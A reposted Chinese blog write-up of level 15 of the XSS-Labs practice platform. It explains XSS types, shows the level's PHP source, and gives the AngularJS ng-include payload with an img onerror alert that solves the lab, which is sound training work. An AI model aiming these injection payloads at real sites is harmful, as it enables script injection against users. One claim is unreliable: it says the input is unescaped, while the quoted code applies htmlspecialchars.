ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

XSS之xss-labs-level15

2021-02-24 21:57:18  阅读:221  来源: 互联网

标签:XSS DOM 代码 labs level15 php 页面


文章目录

0x01 XSS-Labs

  XSS(跨站脚本攻击)是指恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页之时,嵌入其中Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。
  XSS按照利用方式主要分为:反射型XSS、存储型XSS、DOM型XSS。反射型XSS是攻击者事先制作好攻击链接, 需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,每当有用户访问该页面的时候都会触发代码执行,这种XSS即存储型XSS,非常危险,容易造成蠕虫,大量盗窃cookie。客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞

  XSS-Labs是使用PHP编写的一个XSS漏洞练习平台,一共包含20关,其主要为反射型XSS,可以练习基础XSS的过滤和绕过技巧,且每一关的后台源码都重写了alert()方法,只要成功弹框即可调用重写的alert()方法进入下一关或完成本关测试。

0x02 实验工具

  • FireFox
  • HackBar

0x03 实验环境

  • 服务器:Windows Server 2008
  • 中间件:Apache
  • 客户端:Windows 10

实验界面如下图所示:

实验界面

0x04 实验步骤

  1. 使用如下payload进行测试,查看参数的回显位置以及是否被转义或过滤。

    http://10.10.10.148:8203/level15.php?src=<script>alert(/onclink+src+data+href/)</script>
    http://10.10.10.148:8203/level15.php?src='level1.php?name=<img src=x οnerrοr=alert(1)>'
    
    注入点检测

    由上述操作可以推断,程序对span标签中参数的尖括号进行了转义,使用外链可以正常弹框,所以此处存在XSS漏洞。

  2. 构造如下所示的payload进行漏洞测试,结果如下图所示。

    http://10.10.10.148:8203/level15.php?src='level1.php?name=<img src=x οnerrοr=alert(1)>'
    
    注入成功
  3. 代码审计。程序源码如下所示:

    <html ng-app>
    <head>
            <meta charset="utf-8">
            <script src="https://cdn.staticfile.org/angular.js/1.4.6/angular.min.js"></script>
    <script>
    window.alert = function()  
    {     
    confirm("完成的不错!");
     window.location.href="level16.php?keyword=test"; 
    }
    </script>
    <title>欢迎来到level15</title>
    </head>
    <h1 align=center>欢迎来到第15关,自己想个办法走出去吧!</h1>
    <p align=center><img src=level15.png></p>
    <?php 
    ini_set("display_errors", 0);
    $str = $_GET["src"];
    echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
    ?>
    
    • 由18-19行代码可知:程序将通过GET方法得到的参数中的预定义字符进行转换后赋值给span标签。
  4. 所以含有的预定义字符的注入无效,但其他使用HTML实体编码或外链构成的XSS仍可以使用。

0x05 实验分析

  • 程序未做任何转义或过滤就将参数回显到HTML页面中,所以此关的payload非常多:

    'level1.php?name=<img src=x οnerrοr=alert(1)>'
    ...
    

0x06 参考链接

标签:XSS,DOM,代码,labs,level15,php,页面
来源: https://blog.csdn.net/qq_38768365/article/details/114043657

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有